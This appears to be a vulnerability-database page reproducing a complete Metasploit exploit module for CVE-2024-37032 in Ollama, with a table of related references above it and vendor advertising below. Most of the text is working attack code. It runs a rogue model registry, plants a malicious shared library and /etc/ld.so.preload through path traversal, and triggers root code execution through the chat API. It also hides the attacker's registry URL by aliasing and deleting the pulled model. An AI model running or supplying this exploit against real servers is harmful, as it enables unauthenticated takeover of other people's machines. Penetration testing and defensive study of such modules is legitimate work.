| Reporter | Title | Published | Views | Family All 47 |
|---|---|---|---|---|
| Exploit for Path Traversal in Ollama | 26 Jun 202403:11 | – | githubexploit | |
| CVE-2024-37032 | 31 May 202404:15 | – | attackerkb | |
| CVE-2024-37032 vulnerabilities | 31 May 202404:15 | – | cgr | |
| CVE-2024-37032 | 24 Jun 202415:59 | – | circl | |
| Ollama Security Breach | 31 May 202400:00 | – | cnnvd | |
| CVE-2024-37032 | 31 May 202400:00 | – | cve | |
| CVE-2024-37032 | 31 May 202400:00 | – | cvelist | |
| Ollama does not validate the format of the digest (sha256 with 64 hex digits) | 31 May 202406:30 | – | github | |
| Ollama Model Registry Path Traversal RCE | 25 Feb 202619:00 | – | metasploit | |
| Ollama - Remote Code Execution | 27 May 202600:33 | – | nuclei |
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
BLOB_CT = { 'Content-Type' => 'application/octet-stream' }.freeze
JSON_CT = { 'Content-Type' => 'application/json' }.freeze
MANIFEST_CT = { 'Content-Type' => 'application/vnd.docker.distribution.manifest.v2+json' }.freeze
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::Remote::HttpServer
include Msf::Exploit::FileDropper
prepend Msf::Exploit::Remote::AutoCheck
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Ollama Model Registry Path Traversal RCE',
'Description' => %q{
Ollama before 0.1.34 is vulnerable to a path traversal attack via the
model pull mechanism (CVE-2024-37032). When pulling a model, the digest
field in OCI manifests is not validated, allowing an attacker to inject
path traversal sequences to write arbitrary files on the server.
This module starts a rogue OCI registry that serves two models. The first
pull writes a malicious shared library and /etc/ld.so.preload via path
traversal (a sacrificial first layer absorbs the digest verification
failure so the remaining files persist). The second pull registers a valid
model so /api/chat can spawn the llama.cpp runner process, which triggers
the dynamic linker to load the malicious library via ld.so.preload. The
library constructor forks, cleans up ld.so.preload, and executes the
payload in the child process.
The default Ollama Docker image runs as root with the API bound to
0.0.0.0:11434, making this a direct unauthenticated RCE.
},
'Author' => [
'Sagi Tzadik <sagitz[at]wiz.io>', # Wiz Research discovery
'Valentin Lobstein <chocapikk[at]leakix.net>' # MSF module
],
'License' => MSF_LICENSE,
'References' => [
['CVE', '2024-37032'],
['URL', 'https://www.wiz.io/blog/probllama-ollama-vulnerability-cve-2024-37032'],
['GHSA', 'v4cg-63r8-8fh8', 'ollama/ollama']
],
'Platform' => %w[linux],
'Arch' => [ARCH_X64],
'Targets' => [
['Automatic', {}]
],
'DefaultTarget' => 0,
'Privileged' => true,
'Stance' => Msf::Exploit::Stance::Aggressive,
'DisclosureDate' => '2024-05-05',
'AKA' => ['Probllama'],
'Notes' => {
'Stability' => [CRASH_SAFE],
'SideEffects' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS, CONFIG_CHANGES],
'Reliability' => [REPEATABLE_SESSION]
}
)
)
register_options([
Opt::RPORT(11434),
OptString.new('TARGETURI', [true, 'Base path to Ollama API', '/']),
OptString.new('WRITABLE_DIR', [true, 'Writable directory on target for payload files', '/tmp']),
OptInt.new('DEPTH', [true, 'Traversal depth to reach the root filesystem', 14])
])
end
def check
res = send_request_cgi('method' => 'GET', 'uri' => normalize_uri(target_uri.path, 'api', 'version'))
return CheckCode::Unknown('No response from target') unless res&.code == 200
version = res.get_json_document['version']
return CheckCode::Unknown('Could not determine Ollama version') unless version
return CheckCode::Safe("Ollama #{version} (patched)") unless Rex::Version.new(version) < Rex::Version.new('0.1.34')
CheckCode::Appears("Ollama #{version} (vulnerable to path traversal)")
end
def exploit
prepare_payloads
prepare_trigger_model
start_registry
write_files_via_traversal
register_trigger_model
trigger_rce
end
private
# ---- Payload preparation ----
def prepare_payloads
@evil_namespace = random_model_name
@trigger_namespace = random_model_name
@so_name = Rex::Text.rand_text_alpha(8) + '.so'
@so_path = "#{datastore['WRITABLE_DIR']}/#{@so_name}"
@so_blob = generate_payload_so
@preload_blob = "#{@so_path}\n"
@dummy_name = Rex::Text.rand_text_alpha(8)
@dummy_blob = Rex::Text.rand_text_alpha(16)
end
def prepare_trigger_model
family = Faker::Hacker.noun.downcase.gsub(/\W+/, '-')
@trigger_config_blob = {
'model_format' => 'gguf', 'model_family' => family,
'model_families' => [family], 'model_type' => "#{rand(1..70)}B", 'file_type' => 'Q4_0'
}.to_json
@trigger_model_blob = minimal_gguf(family)
end
def random_model_name
"#{Faker::Hacker.adjective}-#{Faker::Hacker.noun}".downcase.gsub(/\W+/, '-')
end
def generate_payload_so
sc = payload.encoded
sc_hex = sc.bytes.map { |b| '0x%02x' % b }.join(', ')
c_code = <<~C
extern int unlink(const char *);
extern int fork(void);
extern int setsid(void);
extern void _exit(int);
__attribute__((constructor))
void init(void) {
unlink("/etc/ld.so.preload");
// Fork+setsid must happen here in the constructor, not via PrependFork,
// so the runner process returns immediately and isn't blocked by the payload.
// _exit instead of return: shellcode is inlined via asm("db"), so return
// would fall through into it.
if (fork() != 0) _exit(0);
setsid();
asm("db #{sc_hex}");
}
C
Metasm::ELF.compile_c(Metasm::X86_64.new, c_code).encode_string(:lib)
end
def minimal_gguf(arch = 'llama')
key = 'general.architecture'
val = arch
[
'GGUF', # magic
[3].pack('V'), # version
[0].pack('Q<'), # tensor_count
[1].pack('Q<'), # metadata_kv_count
[key.length].pack('Q<'), key, # key string
[8].pack('V'), # value type: STRING
[val.length].pack('Q<'), val # value string
].join
end
# ---- Registry server ----
def start_registry
start_service({ 'Uri' => { 'Proc' => method(:on_request_uri), 'Path' => '/' } })
print_status("Rogue OCI registry on #{srvhost_addr}:#{datastore['SRVPORT']}")
end
def srvhost_addr
datastore['SRVHOST']
end
def registry_model_name(namespace)
"#{srvhost_addr}:#{datastore['SRVPORT']}/#{namespace}/model"
end
def on_request_uri(cli, request)
uri = request.uri
vprint_status("Registry: #{request.method} #{uri}")
body, headers = resolve_blob(uri)
send_response(cli, body, headers)
end
def resolve_blob(uri)
return ['{}', JSON_CT] if uri =~ %r{/v2/?$}
return [evil_manifest, MANIFEST_CT.merge('Docker-Content-Digest' => sha256_digest('{}'))] if uri.include?(@evil_namespace) && uri.include?('manifests')
return [trigger_manifest, MANIFEST_CT.merge('Docker-Content-Digest' => sha256_digest(@trigger_config_blob))] if uri.include?(@trigger_namespace) && uri.include?('manifests')
blob = find_blob(uri)
return [blob, BLOB_CT] if blob
['{}', JSON_CT]
end
def find_blob(uri)
blobs = {
@so_name => @so_blob,
'ld.so.preload' => @preload_blob,
@dummy_name => @dummy_blob,
sha256_digest(@trigger_model_blob).split(':')[1][0, 12] => @trigger_model_blob,
sha256_digest(@trigger_config_blob).split(':')[1][0, 12] => @trigger_config_blob
}
blobs.each { |key, data| return data if uri.include?(key) }
nil
end
# ---- Manifest builders ----
def sha256_digest(content)
"sha256:#{Digest::SHA256.hexdigest(content)}"
end
def traversal_digest(path)
"#{'../' * datastore['DEPTH']}#{path.delete_prefix('/')}"
end
def oci_manifest(config_blob, layers)
{
'schemaVersion' => 2,
'mediaType' => 'application/vnd.docker.distribution.manifest.v2+json',
'config' => {
'digest' => sha256_digest(config_blob),
'mediaType' => 'application/vnd.docker.container.image.v1+json',
'size' => config_blob.length
},
'layers' => layers
}.to_json
end
def oci_layer(digest, size)
{ 'digest' => digest, 'mediaType' => 'application/vnd.ollama.image.model', 'size' => size }
end
def evil_manifest
oci_manifest('{}', [
oci_layer(traversal_digest("/tmp/#{@dummy_name}"), @dummy_blob.length),
oci_layer(traversal_digest(@so_path), @so_blob.length),
oci_layer(traversal_digest('/etc/ld.so.preload'), @preload_blob.length)
])
end
def trigger_manifest
oci_manifest(@trigger_config_blob, [
oci_layer(sha256_digest(@trigger_model_blob), @trigger_model_blob.length)
])
end
# ---- Exploit steps ----
def pull_model(name)
send_request_cgi(
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'api', 'pull'),
'ctype' => 'application/json',
'data' => { 'name' => name, 'insecure' => true }.to_json,
'timeout' => 30
)
end
def write_files_via_traversal
model = registry_model_name(@evil_namespace)
print_status("Pull 1: #{model} (path traversal write)")
res = pull_model(model)
fail_with(Failure::Unreachable, 'No response from target') unless res
if res&.body && res.body.include?('completed')
print_good('Payload .so and ld.so.preload written via path traversal')
else
print_warning('Unexpected pull response (files may still have been written)')
vprint_status(res.body.slice(0, 500))
end
register_file_for_cleanup('/etc/ld.so.preload')
register_file_for_cleanup(@so_path)
end
def register_trigger_model
@trigger_alias = random_model_name
remote_name = registry_model_name(@trigger_namespace)
print_status("Pull 2: #{remote_name} (registering trigger model)")
res = pull_model(remote_name)
fail_with(Failure::Unreachable, 'No response from trigger pull') unless res
if res.body.include?('success')
print_good('Trigger model registered')
else
print_warning('Trigger pull returned unexpected response')
vprint_status(res.body.slice(0, 500))
end
# Copy to a clean alias and delete the original to hide the attacker URL from /api/tags
ollama_api('copy', { 'source' => remote_name, 'destination' => @trigger_alias })
ollama_api('delete', { 'name' => remote_name }, 'DELETE')
vprint_status("Model aliased to #{@trigger_alias}, original removed")
end
def trigger_rce
print_status('Triggering RCE via /api/chat (spawning runner process)...')
begin
send_request_cgi(
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'api', 'chat'),
'ctype' => 'application/json',
'data' => { 'model' => @trigger_alias, 'messages' => [{ 'role' => 'user', 'content' => Rex::Text.rand_text_alpha(rand(2..6)) }] }.to_json
)
ensure
ollama_api('delete', { 'name' => @trigger_alias }, 'DELETE')
vprint_status("Trigger model #{@trigger_alias} deleted")
end
end
def ollama_api(endpoint, body, method = 'POST')
send_request_cgi(
'method' => method,
'uri' => normalize_uri(target_uri.path, 'api', endpoint),
'ctype' => 'application/json',
'data' => body.to_json,
'timeout' => 10
)
end
endData
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation